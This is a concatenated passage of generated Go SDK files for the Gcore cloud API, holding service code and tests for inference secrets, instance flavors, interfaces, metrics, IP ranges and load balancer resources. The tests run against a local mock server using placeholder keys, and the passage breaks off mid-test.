spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestInferenceSecretNew(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Inference.Secrets.New(context.TODO(), cloud.InferenceSecretNewParams{ 30 | ProjectID: gcore.Int(1), 31 | Data: cloud.AwsIamDataParam{ 32 | AwsAccessKeyID: "fake-key-id", 33 | AwsSecretAccessKey: "fake-secret", 34 | }, 35 | Name: "aws-dev", 36 | Type: "aws-iam", 37 | }) 38 | if err != nil { 39 | var apierr *gcore.Error 40 | if errors.As(err, &apierr) { 41 | t.Log(string(apierr.DumpRequest(true))) 42 | } 43 | t.Fatalf("err should be nil: %s", err.Error()) 44 | } 45 | } 46 | 47 | func TestInferenceSecretListWithOptionalParams(t *testing.T) { 48 | baseURL := "http://localhost:4010" 49 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 50 | baseURL = envURL 51 | } 52 | if !testutil.CheckTestServer(t, baseURL) { 53 | return 54 | } 55 | client := gcore.NewClient( 56 | option.WithBaseURL(baseURL), 57 | option.WithAPIKey("My API Key"), 58 | ) 59 | _, err := client.Cloud.Inference.Secrets.List(context.TODO(), cloud.InferenceSecretListParams{ 60 | ProjectID: gcore.Int(1), 61 | Limit: gcore.Int(1000), 62 | Offset: gcore.Int(0), 63 | }) 64 | if err != nil { 65 | var apierr *gcore.Error 66 | if errors.As(err, &apierr) { 67 | t.Log(string(apierr.DumpRequest(true))) 68 | } 69 | t.Fatalf("err should be nil: %s", err.Error()) 70 | } 71 | } 72 | 73 | func TestInferenceSecretDelete(t *testing.T) { 74 | baseURL := "http://localhost:4010" 75 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 76 | baseURL = envURL 77 | } 78 | if !testutil.CheckTestServer(t, baseURL) { 79 | return 80 | } 81 | client := gcore.NewClient( 82 | option.WithBaseURL(baseURL), 83 | option.WithAPIKey("My API Key"), 84 | ) 85 | err := client.Cloud.Inference.Secrets.Delete( 86 | context.TODO(), 87 | "aws-dev", 88 | cloud.InferenceSecretDeleteParams{ 89 | ProjectID: gcore.Int(1), 90 | }, 91 | ) 92 | if err != nil { 93 | var apierr *gcore.Error 94 | if errors.As(err, &apierr) { 95 | t.Log(string(apierr.DumpRequest(true))) 96 | } 97 | t.Fatalf("err should be nil: %s", err.Error()) 98 | } 99 | } 100 | 101 | func TestInferenceSecretGet(t *testing.T) { 102 | baseURL := "http://localhost:4010" 103 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 104 | baseURL = envURL 105 | } 106 | if !testutil.CheckTestServer(t, baseURL) { 107 | return 108 | } 109 | client := gcore.NewClient( 110 | option.WithBaseURL(baseURL), 111 | option.WithAPIKey("My API Key"), 112 | ) 113 | _, err := client.Cloud.Inference.Secrets.Get( 114 | context.TODO(), 115 | "aws-dev", 116 | cloud.InferenceSecretGetParams{ 117 | ProjectID: gcore.Int(1), 118 | }, 119 | ) 120 | if err != nil { 121 | var apierr *gcore.Error 122 | if errors.As(err, &apierr) { 123 | t.Log(string(apierr.DumpRequest(true))) 124 | } 125 | t.Fatalf("err should be nil: %s", err.Error()) 126 | } 127 | } 128 | 129 | func TestInferenceSecretReplace(t *testing.T) { 130 | baseURL := "http://localhost:4010" 131 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 132 | baseURL = envURL 133 | } 134 | if !testutil.CheckTestServer(t, baseURL) { 135 | return 136 | } 137 | client := gcore.NewClient( 138 | option.WithBaseURL(baseURL), 139 | option.WithAPIKey("My API Key"), 140 | ) 141 | _, err := client.Cloud.Inference.Secrets.Replace( 142 | context.TODO(), 143 | "aws-dev", 144 | cloud.InferenceSecretReplaceParams{ 145 | ProjectID: gcore.Int(1), 146 | Data: cloud.AwsIamDataParam{ 147 | AwsAccessKeyID: "fake-key-id", 148 | AwsSecretAccessKey: "fake-secret", 149 | }, 150 | Type: "aws-iam", 151 | }, 152 | ) 153 | if err != nil { 154 | var apierr *gcore.Error 155 | if errors.As(err, &apierr) { 156 | t.Log(string(apierr.DumpRequest(true))) 157 | } 158 | t.Fatalf("err should be nil: %s", err.Error()) 159 | } 160 | } 161 | -------------------------------------------------------------------------------- /cloud/instanceflavor_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestInstanceFlavorListWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Instances.Flavors.List(context.TODO(), cloud.InstanceFlavorListParams{ 30 | ProjectID: gcore.Int(0), 31 | RegionID: gcore.Int(0), 32 | Disabled: gcore.Bool(true), 33 | ExcludeLinux: gcore.Bool(true), 34 | ExcludeWindows: gcore.Bool(true), 35 | IncludePrices: gcore.Bool(true), 36 | }) 37 | if err != nil { 38 | var apierr *gcore.Error 39 | if errors.As(err, &apierr) { 40 | t.Log(string(apierr.DumpRequest(true))) 41 | } 42 | t.Fatalf("err should be nil: %s", err.Error()) 43 | } 44 | } 45 | 46 | func TestInstanceFlavorListForResizeWithOptionalParams(t *testing.T) { 47 | baseURL := "http://localhost:4010" 48 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 49 | baseURL = envURL 50 | } 51 | if !testutil.CheckTestServer(t, baseURL) { 52 | return 53 | } 54 | client := gcore.NewClient( 55 | option.WithBaseURL(baseURL), 56 | option.WithAPIKey("My API Key"), 57 | ) 58 | _, err := client.Cloud.Instances.Flavors.ListForResize( 59 | context.TODO(), 60 | "instance_id", 61 | cloud.InstanceFlavorListForResizeParams{ 62 | ProjectID: gcore.Int(0), 63 | RegionID: gcore.Int(0), 64 | IncludePrices: gcore.Bool(true), 65 | }, 66 | ) 67 | if err != nil { 68 | var apierr *gcore.Error 69 | if errors.As(err, &apierr) { 70 | t.Log(string(apierr.DumpRequest(true))) 71 | } 72 | t.Fatalf("err should be nil: %s", err.Error()) 73 | } 74 | } 75 | 76 | func TestInstanceFlavorListSuitableWithOptionalParams(t *testing.T) { 77 | baseURL := "http://localhost:4010" 78 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 79 | baseURL = envURL 80 | } 81 | if !testutil.CheckTestServer(t, baseURL) { 82 | return 83 | } 84 | client := gcore.NewClient( 85 | option.WithBaseURL(baseURL), 86 | option.WithAPIKey("My API Key"), 87 | ) 88 | _, err := client.Cloud.Instances.Flavors.ListSuitable(context.TODO(), cloud.InstanceFlavorListSuitableParams{ 89 | ProjectID: gcore.Int(0), 90 | RegionID: gcore.Int(0), 91 | Volumes: []cloud.InstanceFlavorListSuitableParamsVolume{{ 92 | Source: "image", 93 | ApptemplateID: gcore.String("apptemplate_id"), 94 | BootIndex: gcore.Int(0), 95 | ImageID: gcore.String("f01fd9a0-9548-48ba-82dc-a8c8b2d6f2f1"), 96 | Name: gcore.String("TestVM5 Ubuntu boot image"), 97 | Size: gcore.Int(10), 98 | SnapshotID: gcore.String("snapshot_id"), 99 | TypeName: "ssd_hiiops", 100 | VolumeID: gcore.String("volume_id"), 101 | }}, 102 | IncludePrices: gcore.Bool(true), 103 | }) 104 | if err != nil { 105 | var apierr *gcore.Error 106 | if errors.As(err, &apierr) { 107 | t.Log(string(apierr.DumpRequest(true))) 108 | } 109 | t.Fatalf("err should be nil: %s", err.Error()) 110 | } 111 | } 112 | -------------------------------------------------------------------------------- /cloud/instanceinterface_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | "github.com/stridentmare/gcore-go/packages/param" 16 | ) 17 | 18 | func TestInstanceInterfaceList(t *testing.T) { 19 | baseURL := "http://localhost:4010" 20 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 21 | baseURL = envURL 22 | } 23 | if !testutil.CheckTestServer(t, baseURL) { 24 | return 25 | } 26 | client := gcore.NewClient( 27 | option.WithBaseURL(baseURL), 28 | option.WithAPIKey("My API Key"), 29 | ) 30 | _, err := client.Cloud.Instances.Interfaces.List( 31 | context.TODO(), 32 | "instance_id", 33 | cloud.InstanceInterfaceListParams{ 34 | ProjectID: gcore.Int(0), 35 | RegionID: gcore.Int(0), 36 | }, 37 | ) 38 | if err != nil { 39 | var apierr *gcore.Error 40 | if errors.As(err, &apierr) { 41 | t.Log(string(apierr.DumpRequest(true))) 42 | } 43 | t.Fatalf("err should be nil: %s", err.Error()) 44 | } 45 | } 46 | 47 | func TestInstanceInterfaceAttachWithOptionalParams(t *testing.T) { 48 | baseURL := "http://localhost:4010" 49 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 50 | baseURL = envURL 51 | } 52 | if !testutil.CheckTestServer(t, baseURL) { 53 | return 54 | } 55 | client := gcore.NewClient( 56 | option.WithBaseURL(baseURL), 57 | option.WithAPIKey("My API Key"), 58 | ) 59 | _, err := client.Cloud.Instances.Interfaces.Attach( 60 | context.TODO(), 61 | "instance_id", 62 | cloud.InstanceInterfaceAttachParams{ 63 | ProjectID: gcore.Int(0), 64 | RegionID: gcore.Int(0), 65 | OfNewInterfaceExternalExtendSchemaWithDDOS: &cloud.InstanceInterfaceAttachParamsBodyNewInterfaceExternalExtendSchemaWithDDOS{ 66 | DDOSProfile: cloud.InstanceInterfaceAttachParamsBodyNewInterfaceExternalExtendSchemaWithDDOSDDOSProfile{ 67 | ProfileTemplate: 29, 68 | Fields: []cloud.InstanceInterfaceAttachParamsBodyNewInterfaceExternalExtendSchemaWithDDOSDDOSProfileField{{ 69 | BaseField: gcore.Int(10), 70 | FieldName: gcore.String("field_name"), 71 | FieldValue: map[string]interface{}{ 72 | "0": 45046, 73 | "1": 45047, 74 | }, 75 | Value: param.Null[string](), 76 | }}, 77 | ProfileTemplateName: gcore.String("profile_template_name"), 78 | }, 79 | InterfaceName: gcore.String("interface_name"), 80 | IPFamily: "dual", 81 | PortGroup: gcore.Int(0), 82 | SecurityGroups: []cloud.InstanceInterfaceAttachParamsBodyNewInterfaceExternalExtendSchemaWithDDOSSecurityGroup{{ 83 | ID: "4536dba1-93b1-492e-b3df-270b6b9f3650", 84 | }, { 85 | ID: "cee2ca1f-507a-4a31-b714-f6c1ffb4bdfa", 86 | }}, 87 | Type: gcore.String("external"), 88 | }, 89 | }, 90 | ) 91 | if err != nil { 92 | var apierr *gcore.Error 93 | if errors.As(err, &apierr) { 94 | t.Log(string(apierr.DumpRequest(true))) 95 | } 96 | t.Fatalf("err should be nil: %s", err.Error()) 97 | } 98 | } 99 | 100 | func TestInstanceInterfaceDetach(t *testing.T) { 101 | baseURL := "http://localhost:4010" 102 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 103 | baseURL = envURL 104 | } 105 | if !testutil.CheckTestServer(t, baseURL) { 106 | return 107 | } 108 | client := gcore.NewClient( 109 | option.WithBaseURL(baseURL), 110 | option.WithAPIKey("My API Key"), 111 | ) 112 | _, err := client.Cloud.Instances.Interfaces.Detach( 113 | context.TODO(), 114 | "instance_id", 115 | cloud.InstanceInterfaceDetachParams{ 116 | ProjectID: gcore.Int(0), 117 | RegionID: gcore.Int(0), 118 | IPAddress: "192.168.123.20", 119 | PortID: "351b0dd7-ca09-431c-be53-935db3785067", 120 | }, 121 | ) 122 | if err != nil { 123 | var apierr *gcore.Error 124 | if errors.As(err, &apierr) { 125 | t.Log(string(apierr.DumpRequest(true))) 126 | } 127 | t.Fatalf("err should be nil: %s", err.Error()) 128 | } 129 | } 130 | -------------------------------------------------------------------------------- /cloud/instancemetric_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestInstanceMetricList(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.Instances.Metrics.List( 30 | context.TODO(), 31 | "instance_id", 32 | cloud.InstanceMetricListParams{ 33 | ProjectID: gcore.Int(0), 34 | RegionID: gcore.Int(0), 35 | TimeInterval: 6, 36 | TimeUnit: cloud.InstanceMetricsTimeUnitDay, 37 | }, 38 | ) 39 | if err != nil { 40 | var apierr *gcore.Error 41 | if errors.As(err, &apierr) { 42 | t.Log(string(apierr.DumpRequest(true))) 43 | } 44 | t.Fatalf("err should be nil: %s", err.Error()) 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /cloud/iprange.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud 4 | 5 | import ( 6 | "context" 7 | "net/http" 8 | 9 | "github.com/stridentmare/gcore-go/internal/apijson" 10 | "github.com/stridentmare/gcore-go/internal/requestconfig" 11 | "github.com/stridentmare/gcore-go/option" 12 | "github.com/stridentmare/gcore-go/packages/respjson" 13 | ) 14 | 15 | // IPRangeService contains methods and other services that help with interacting 16 | // with the gcore API. 17 | // 18 | // Note, unlike clients, this service does not read variables from the environment 19 | // automatically. You should not instantiate this service directly, and instead use 20 | // the [NewIPRangeService] method instead. 21 | type IPRangeService struct { 22 | Options []option.RequestOption 23 | } 24 | 25 | // NewIPRangeService generates a new service that applies the given options to each 26 | // request. These options are applied after the parent client's options (if there 27 | // is one), and before any request-specific options. 28 | func NewIPRangeService(opts ...option.RequestOption) (r IPRangeService) { 29 | r = IPRangeService{} 30 | r.Options = opts 31 | return 32 | } 33 | 34 | // List of all Edge Cloud Egress Public IPs. 35 | func (r *IPRangeService) List(ctx context.Context, opts ...option.RequestOption) (res *IPRanges, err error) { 36 | opts = append(r.Options[:], opts...) 37 | path := "cloud/public/v1/ipranges/egress" 38 | err = requestconfig.ExecuteNewRequest(ctx, http.MethodGet, path, nil, &res, opts...) 39 | return 40 | } 41 | 42 | type IPRanges struct { 43 | // IP ranges list 44 | Ranges []string `json:"ranges,required" format:"ipv4interface"` 45 | // JSON contains metadata for fields, check presence with [respjson.Field.Valid]. 46 | JSON struct { 47 | Ranges respjson.Field 48 | ExtraFields map[string]respjson.Field 49 | raw string 50 | } `json:"-"` 51 | } 52 | 53 | // Returns the unmodified JSON received from the API 54 | func (r IPRanges) RawJSON() string { return r.JSON.raw } 55 | func (r *IPRanges) UnmarshalJSON(data []byte) error { 56 | return apijson.UnmarshalRoot(data, r) 57 | } 58 | -------------------------------------------------------------------------------- /cloud/iprange_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/internal/testutil" 13 | "github.com/stridentmare/gcore-go/option" 14 | ) 15 | 16 | func TestIPRangeList(t *testing.T) { 17 | baseURL := "http://localhost:4010" 18 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 19 | baseURL = envURL 20 | } 21 | if !testutil.CheckTestServer(t, baseURL) { 22 | return 23 | } 24 | client := gcore.NewClient( 25 | option.WithBaseURL(baseURL), 26 | option.WithAPIKey("My API Key"), 27 | ) 28 | _, err := client.Cloud.IPRanges.List(context.TODO()) 29 | if err != nil { 30 | var apierr *gcore.Error 31 | if errors.As(err, &apierr) { 32 | t.Log(string(apierr.DumpRequest(true))) 33 | } 34 | t.Fatalf("err should be nil: %s", err.Error()) 35 | } 36 | } 37 | -------------------------------------------------------------------------------- /cloud/loadbalancerflavor.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "fmt" 9 | "net/http" 10 | "net/url" 11 | 12 | "github.com/stridentmare/gcore-go/internal/apiquery" 13 | "github.com/stridentmare/gcore-go/internal/requestconfig" 14 | "github.com/stridentmare/gcore-go/option" 15 | "github.com/stridentmare/gcore-go/packages/param" 16 | ) 17 | 18 | // LoadBalancerFlavorService contains methods and other services that help with 19 | // interacting with the gcore API. 20 | // 21 | // Note, unlike clients, this service does not read variables from the environment 22 | // automatically. You should not instantiate this service directly, and instead use 23 | // the [NewLoadBalancerFlavorService] method instead. 24 | type LoadBalancerFlavorService struct { 25 | Options []option.RequestOption 26 | } 27 | 28 | // NewLoadBalancerFlavorService generates a new service that applies the given 29 | // options to each request. These options are applied after the parent client's 30 | // options (if there is one), and before any request-specific options. 31 | func NewLoadBalancerFlavorService(opts ...option.RequestOption) (r LoadBalancerFlavorService) { 32 | r = LoadBalancerFlavorService{} 33 | r.Options = opts 34 | return 35 | } 36 | 37 | // Retrieve a list of load balancer flavors. When the include_prices query 38 | // parameter is specified, the list shows prices. A client in trial mode gets all 39 | // price values as 0. If you get Pricing Error contact the support 40 | func (r *LoadBalancerFlavorService) List(ctx context.Context, params LoadBalancerFlavorListParams, opts ...option.RequestOption) (res *LoadBalancerFlavorList, err error) { 41 | opts = append(r.Options[:], opts...) 42 | precfg, err := requestconfig.PreRequestOptions(opts...) 43 | if err != nil { 44 | return 45 | } 46 | requestconfig.UseDefaultParam(¶ms.ProjectID, precfg.CloudProjectID) 47 | requestconfig.UseDefaultParam(¶ms.RegionID, precfg.CloudRegionID) 48 | if !params.ProjectID.Valid() { 49 | err = errors.New("missing required project_id parameter") 50 | return 51 | } 52 | if !params.RegionID.Valid() { 53 | err = errors.New("missing required region_id parameter") 54 | return 55 | } 56 | path := fmt.Sprintf("cloud/v1/lbflavors/%v/%v", params.ProjectID.Value, params.RegionID.Value) 57 | err = requestconfig.ExecuteNewRequest(ctx, http.MethodGet, path, params, &res, opts...) 58 | return 59 | } 60 | 61 | type LoadBalancerFlavorListParams struct { 62 | ProjectID param.Opt[int64] `path:"project_id,omitzero,required" json:"-"` 63 | RegionID param.Opt[int64] `path:"region_id,omitzero,required" json:"-"` 64 | // Set to true if the response should include flavor prices 65 | IncludePrices param.Opt[bool] `query:"include_prices,omitzero" json:"-"` 66 | paramObj 67 | } 68 | 69 | // URLQuery serializes [LoadBalancerFlavorListParams]'s query parameters as 70 | // `url.Values`. 71 | func (r LoadBalancerFlavorListParams) URLQuery() (v url.Values, err error) { 72 | return apiquery.MarshalWithSettings(r, apiquery.QuerySettings{ 73 | ArrayFormat: apiquery.ArrayQueryFormatRepeat, 74 | NestedFormat: apiquery.NestedQueryFormatDots, 75 | }) 76 | } 77 | -------------------------------------------------------------------------------- /cloud/loadbalancerflavor_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestLoadBalancerFlavorListWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.LoadBalancers.Flavors.List(context.TODO(), cloud.LoadBalancerFlavorListParams{ 30 | ProjectID: gcore.Int(0), 31 | RegionID: gcore.Int(0), 32 | IncludePrices: gcore.Bool(true), 33 | }) 34 | if err != nil { 35 | var apierr *gcore.Error 36 | if errors.As(err, &apierr) { 37 | t.Log(string(apierr.DumpRequest(true))) 38 | } 39 | t.Fatalf("err should be nil: %s", err.Error()) 40 | } 41 | } 42 | -------------------------------------------------------------------------------- /cloud/loadbalancermetric.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "fmt" 9 | "net/http" 10 | 11 | "github.com/stridentmare/gcore-go/internal/apijson" 12 | "github.com/stridentmare/gcore-go/internal/requestconfig" 13 | "github.com/stridentmare/gcore-go/option" 14 | "github.com/stridentmare/gcore-go/packages/param" 15 | ) 16 | 17 | // LoadBalancerMetricService contains methods and other services that help with 18 | // interacting with the gcore API. 19 | // 20 | // Note, unlike clients, this service does not read variables from the environment 21 | // automatically. You should not instantiate this service directly, and instead use 22 | // the [NewLoadBalancerMetricService] method instead. 23 | type LoadBalancerMetricService struct { 24 | Options []option.RequestOption 25 | } 26 | 27 | // NewLoadBalancerMetricService generates a new service that applies the given 28 | // options to each request. These options are applied after the parent client's 29 | // options (if there is one), and before any request-specific options. 30 | func NewLoadBalancerMetricService(opts ...option.RequestOption) (r LoadBalancerMetricService) { 31 | r = LoadBalancerMetricService{} 32 | r.Options = opts 33 | return 34 | } 35 | 36 | // Get loadbalancer metrics, including cpu, memory and network 37 | func (r *LoadBalancerMetricService) List(ctx context.Context, loadbalancerID string, params LoadBalancerMetricListParams, opts ...option.RequestOption) (res *LoadBalancerMetricsList, err error) { 38 | opts = append(r.Options[:], opts...) 39 | precfg, err := requestconfig.PreRequestOptions(opts...) 40 | if err != nil { 41 | return 42 | } 43 | requestconfig.UseDefaultParam(¶ms.ProjectID, precfg.CloudProjectID) 44 | requestconfig.UseDefaultParam(¶ms.RegionID, precfg.CloudRegionID) 45 | if !params.ProjectID.Valid() { 46 | err = errors.New("missing required project_id parameter") 47 | return 48 | } 49 | if !params.RegionID.Valid() { 50 | err = errors.New("missing required region_id parameter") 51 | return 52 | } 53 | if loadbalancerID == "" { 54 | err = errors.New("missing required loadbalancer_id parameter") 55 | return 56 | } 57 | path := fmt.Sprintf("cloud/v1/loadbalancers/%v/%v/%s/metrics", params.ProjectID.Value, params.RegionID.Value, loadbalancerID) 58 | err = requestconfig.ExecuteNewRequest(ctx, http.MethodPost, path, params, &res, opts...) 59 | return 60 | } 61 | 62 | type LoadBalancerMetricListParams struct { 63 | ProjectID param.Opt[int64] `path:"project_id,omitzero,required" json:"-"` 64 | RegionID param.Opt[int64] `path:"region_id,omitzero,required" json:"-"` 65 | // Time interval 66 | TimeInterval int64 `json:"time_interval,required"` 67 | // Time interval unit 68 | // 69 | // Any of "day", "hour". 70 | TimeUnit InstanceMetricsTimeUnit `json:"time_unit,omitzero,required"` 71 | paramObj 72 | } 73 | 74 | func (r LoadBalancerMetricListParams) MarshalJSON() (data []byte, err error) { 75 | type shadow LoadBalancerMetricListParams 76 | return param.MarshalObject(r, (*shadow)(&r)) 77 | } 78 | func (r *LoadBalancerMetricListParams) UnmarshalJSON(data []byte) error { 79 | return apijson.UnmarshalRoot(data, r) 80 | } 81 | -------------------------------------------------------------------------------- /cloud/loadbalancermetric_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestLoadBalancerMetricList(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.LoadBalancers.Metrics.List( 30 | context.TODO(), 31 | "loadbalancer_id", 32 | cloud.LoadBalancerMetricListParams{ 33 | ProjectID: gcore.Int(0), 34 | RegionID: gcore.Int(0), 35 | TimeInterval: 6, 36 | TimeUnit: cloud.InstanceMetricsTimeUnitDay, 37 | }, 38 | ) 39 | if err != nil { 40 | var apierr *gcore.Error 41 | if errors.As(err, &apierr) { 42 | t.Log(string(apierr.DumpRequest(true))) 43 | } 44 | t.Fatalf("err should be nil: %s", err.Error()) 45 | } 46 | } 47 | -------------------------------------------------------------------------------- /cloud/loadbalancerpoolhealthmonitor_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestLoadBalancerPoolHealthMonitorNewWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 | } 22 | if !testutil.CheckTestServer(t, baseURL) { 23 | return 24 | } 25 | client := gcore.NewClient( 26 | option.WithBaseURL(baseURL), 27 | option.WithAPIKey("My API Key"), 28 | ) 29 | _, err := client.Cloud.LoadBalancers.Pools.HealthMonitors.New( 30 | context.TODO(), 31 | "pool_id", 32 | cloud.LoadBalancerPoolHealthMonitorNewParams{ 33 | ProjectID: gcore.Int(0), 34 | RegionID: gcore.Int(0), 35 | Delay: 10, 36 | MaxRetries: 2, 37 | Timeout: 5, 38 | Type: cloud.LbHealthMonitorTypeHTTP, 39 | ExpectedCodes: gcore.String("200,301,302"), 40 | HTTPMethod: cloud.HTTPMethodConnect, 41 | MaxRetriesDown: gcore.Int(2), 42 | URLPath: gcore.String("/"), 43 | }, 44 | ) 45 | if err != nil { 46 | var apierr *gcore.Error 47 | if errors.As(err, &apierr) { 48 | t.Log(string(apierr.DumpRequest(true))) 49 | } 50 | t.Fatalf("err should be nil: %s", err.Error()) 51 | } 52 | } 53 | 54 | func TestLoadBalancerPoolHealthMonitorDelete(t *testing.T) { 55 | baseURL := "http://localhost:4010" 56 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 57 | baseURL = envURL 58 | } 59 | if !testutil.CheckTestServer(t, baseURL) { 60 | return 61 | } 62 | client := gcore.NewClient( 63 | option.WithBaseURL(baseURL), 64 | option.WithAPIKey("My API Key"), 65 | ) 66 | err := client.Cloud.LoadBalancers.Pools.HealthMonitors.Delete( 67 | context.TODO(), 68 | "pool_id", 69 | cloud.LoadBalancerPoolHealthMonitorDeleteParams{ 70 | ProjectID: gcore.Int(0), 71 | RegionID: gcore.Int(0), 72 | }, 73 | ) 74 | if err != nil { 75 | var apierr *gcore.Error 76 | if errors.As(err, &apierr) { 77 | t.Log(string(apierr.DumpRequest(true))) 78 | } 79 | t.Fatalf("err should be nil: %s", err.Error()) 80 | } 81 | } 82 | -------------------------------------------------------------------------------- /cloud/loadbalancerpoolmember_test.go: -------------------------------------------------------------------------------- 1 | // File generated from our OpenAPI spec by Stainless. See CONTRIBUTING.md for details. 2 | 3 | package cloud_test 4 | 5 | import ( 6 | "context" 7 | "errors" 8 | "os" 9 | "testing" 10 | 11 | "github.com/stridentmare/gcore-go" 12 | "github.com/stridentmare/gcore-go/cloud" 13 | "github.com/stridentmare/gcore-go/internal/testutil" 14 | "github.com/stridentmare/gcore-go/option" 15 | ) 16 | 17 | func TestLoadBalancerPoolMemberAddWithOptionalParams(t *testing.T) { 18 | baseURL := "http://localhost:4010" 19 | if envURL, ok := os.LookupEnv("TEST_API_BASE_URL"); ok { 20 | baseURL = envURL 21 